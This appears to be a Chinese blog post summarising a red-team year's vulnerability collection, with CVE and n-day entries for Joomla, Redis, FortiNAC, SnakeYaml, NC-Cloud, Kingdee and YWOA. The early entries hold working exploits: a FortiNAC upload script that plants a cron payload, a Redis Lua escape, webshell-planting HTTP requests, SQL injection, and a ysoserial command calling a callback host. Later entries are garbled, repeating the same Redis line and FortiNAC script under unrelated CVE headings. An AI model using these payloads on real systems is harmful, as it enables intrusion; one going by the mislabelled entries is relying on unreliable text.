正文

2023年度我的RedTeam总结

admin
admin V管理员 /0 评论 /175 阅读
1231
此篇文章发布距今已超过408天，您需要注意文章的内容或图片是否可用！

Alphabug 的漏洞库(2023 年)

Joomla 未授权访问漏洞

CVE-2023-23752

http://x/api/index.php/v1/config/application?public=true

Redis 沙盒逃逸漏洞

CVE-2022-0543

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

Fortinet FortiNAC

CVE-2022-33952

#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()


def exploit(target):
    url = f'https://{target}:8443/configWizard/keyUpload.jsp'
    r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
    if 'SuccessfulUpload' in r.text:
        print(f'[+] Payload successfully delivered')

def make_zip(payload_file):
    fullpath = '/etc/cron.d/payload'
    zf = zipfile.ZipFile('payload.zip', 'w')
    zf.write(payload_file, fullpath)
    zf.close()
    print(f'[+] Wrote {payload_file} to {fullpath}')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
    args = parser.parse_args()

    make_zip(args.file)
    exploit(args.target)

MinIO

CVE-2023-29432

POST /minio/bootstrap/v1/verify

SnakeYaml

CVE-2022-1471

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080"]]]]

NC-Cloud

Nday

POST /uapjs/jsinvoke?action=invoke HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=80DA93FB2FFF0204E78FA82643D5BC6E
If-Modified-Since: Fri, 09 Dec 2022 16:12:59 GMT
If-None-Match: W/"370397-1670602379000"
Content-Type: application/x-www-form-urlencoded
Content-Length: 247

{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/404.jsp"]}
POST /404.jsp?error=bsh.Interpreter HTTP/1.1
Host: *
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=80DA93FB2FFF0204E78FA82643D5BC6E
If-Modified-Since: Fri, 09 Dec 2022 16:12:59 GMT
If-None-Match: W/"370397-1670602379000"
Content-Type: application/x-www-form-urlencoded
Content-Length: 96

cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream())

Kingdee-ERP

Nday

ysoserial.exe -f BinaryFormatter -g ResourceSet -o base64 -c "curl *.callback.red"
POST /K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1
Host: example.com
Content-Type: text/json
{ "ap0":"AAEAAAD////", "format":"3"
}

YWOA

CVE-2022-38808

GET /oa/visual/exportExcel.do?code=personbasic&orderBy=id+%26%26+(/*!%53eLEct*/+1+FROM+(/*!%53eLEct*/(sleep(5)))a)&op=1&sort=desc&isMine=true HTTP/1.1
Host: 172.16.140.186:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=339C404636300F5F43B74EC828919D11; skincode=lte; name=admin; pwd=p5Bx7jxXNGCCEsQLv/rG4w==; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 00

KSOA

Nday

1

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 01

2

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 02

3

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 03

Sandbox Escape vm2 逃逸

CVE-2023-29199

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 04

H3C Magic

Nday

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 05

Exchange

CVE-2023-32031

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 06

OPAC

Nday

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 07

蓝凌EIS

Nday

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 08

万户OA

Nday

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 09

upload address:

#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()


def exploit(target):
    url = f'https://{target}:8443/configWizard/keyUpload.jsp'
    r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
    if 'SuccessfulUpload' in r.text:
        print(f'[+] Payload successfully delivered')

def make_zip(payload_file):
    fullpath = '/etc/cron.d/payload'
    zf = zipfile.ZipFile('payload.zip', 'w')
    zf.write(payload_file, fullpath)
    zf.close()
    print(f'[+] Wrote {payload_file} to {fullpath}')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
    args = parser.parse_args()

    make_zip(args.file)
    exploit(args.target)0

IP网络对讲广播系统

Nday

1

#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()


def exploit(target):
    url = f'https://{target}:8443/configWizard/keyUpload.jsp'
    r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
    if 'SuccessfulUpload' in r.text:
        print(f'[+] Payload successfully delivered')

def make_zip(payload_file):
    fullpath = '/etc/cron.d/payload'
    zf = zipfile.ZipFile('payload.zip', 'w')
    zf.write(payload_file, fullpath)
    zf.close()
    print(f'[+] Wrote {payload_file} to {fullpath}')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
    args = parser.parse_args()

    make_zip(args.file)
    exploit(args.target)1

2

#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()


def exploit(target):
    url = f'https://{target}:8443/configWizard/keyUpload.jsp'
    r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
    if 'SuccessfulUpload' in r.text:
        print(f'[+] Payload successfully delivered')

def make_zip(payload_file):
    fullpath = '/etc/cron.d/payload'
    zf = zipfile.ZipFile('payload.zip', 'w')
    zf.write(payload_file, fullpath)
    zf.close()
    print(f'[+] Wrote {payload_file} to {fullpath}')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
    args = parser.parse_args()

    make_zip(args.file)
    exploit(args.target)2

NS-ASG

Nday

#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()


def exploit(target):
    url = f'https://{target}:8443/configWizard/keyUpload.jsp'
    r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
    if 'SuccessfulUpload' in r.text:
        print(f'[+] Payload successfully delivered')

def make_zip(payload_file):
    fullpath = '/etc/cron.d/payload'
    zf = zipfile.ZipFile('payload.zip', 'w')
    zf.write(payload_file, fullpath)
    zf.close()
    print(f'[+] Wrote {payload_file} to {fullpath}')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
    args = parser.parse_args()

    make_zip(args.file)
    exploit(args.target)3

VMware ESXi/vCenter/vSphere

CVE-2021-21972

#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()


def exploit(target):
    url = f'https://{target}:8443/configWizard/keyUpload.jsp'
    r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
    if 'SuccessfulUpload' in r.text:
        print(f'[+] Payload successfully delivered')

def make_zip(payload_file):
    fullpath = '/etc/cron.d/payload'
    zf = zipfile.ZipFile('payload.zip', 'w')
    zf.write(payload_file, fullpath)
    zf.close()
    print(f'[+] Wrote {payload_file} to {fullpath}')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
    args = parser.parse_args()

    make_zip(args.file)
    exploit(args.target)4

CVE-2021-21985

#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()


def exploit(target):
    url = f'https://{target}:8443/configWizard/keyUpload.jsp'
    r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
    if 'SuccessfulUpload' in r.text:
        print(f'[+] Payload successfully delivered')

def make_zip(payload_file):
    fullpath = '/etc/cron.d/payload'
    zf = zipfile.ZipFile('payload.zip', 'w')
    zf.write(payload_file, fullpath)
    zf.close()
    print(f'[+] Wrote {payload_file} to {fullpath}')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
    args = parser.parse_args()

    make_zip(args.file)
    exploit(args.target)5

CVE-2021-21974

#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()


def exploit(target):
    url = f'https://{target}:8443/configWizard/keyUpload.jsp'
    r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
    if 'SuccessfulUpload' in r.text:
        print(f'[+] Payload successfully delivered')

def make_zip(payload_file):
    fullpath = '/etc/cron.d/payload'
    zf = zipfile.ZipFile('payload.zip', 'w')
    zf.write(payload_file, fullpath)
    zf.close()
    print(f'[+] Wrote {payload_file} to {fullpath}')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
    args = parser.parse_args()

    make_zip(args.file)
    exploit(args.target)6

CVE-2021-44228

#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()


def exploit(target):
    url = f'https://{target}:8443/configWizard/keyUpload.jsp'
    r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
    if 'SuccessfulUpload' in r.text:
        print(f'[+] Payload successfully delivered')

def make_zip(payload_file):
    fullpath = '/etc/cron.d/payload'
    zf = zipfile.ZipFile('payload.zip', 'w')
    zf.write(payload_file, fullpath)
    zf.close()
    print(f'[+] Wrote {payload_file} to {fullpath}')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
    args = parser.parse_args()

    make_zip(args.file)
    exploit(args.target)7

Tools

#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()


def exploit(target):
    url = f'https://{target}:8443/configWizard/keyUpload.jsp'
    r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
    if 'SuccessfulUpload' in r.text:
        print(f'[+] Payload successfully delivered')

def make_zip(payload_file):
    fullpath = '/etc/cron.d/payload'
    zf = zipfile.ZipFile('payload.zip', 'w')
    zf.write(payload_file, fullpath)
    zf.close()
    print(f'[+] Wrote {payload_file} to {fullpath}')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
    args = parser.parse_args()

    make_zip(args.file)
    exploit(args.target)8

Linux 提权

CVE-2021-3156

#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()


def exploit(target):
    url = f'https://{target}:8443/configWizard/keyUpload.jsp'
    r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
    if 'SuccessfulUpload' in r.text:
        print(f'[+] Payload successfully delivered')

def make_zip(payload_file):
    fullpath = '/etc/cron.d/payload'
    zf = zipfile.ZipFile('payload.zip', 'w')
    zf.write(payload_file, fullpath)
    zf.close()
    print(f'[+] Wrote {payload_file} to {fullpath}')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
    args = parser.parse_args()

    make_zip(args.file)
    exploit(args.target)9

CVE-2022-0847

POST /minio/bootstrap/v1/verify0

CVE-2022-2588

POST /minio/bootstrap/v1/verify1

CVE-2023-0179

POST /minio/bootstrap/v1/verify2

Windows 提权

CVE-2021-40449

POST /minio/bootstrap/v1/verify3

CVE-2023-21768

POST /minio/bootstrap/v1/verify4



推荐站内搜索：最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
ZhouSa.com-周飒博客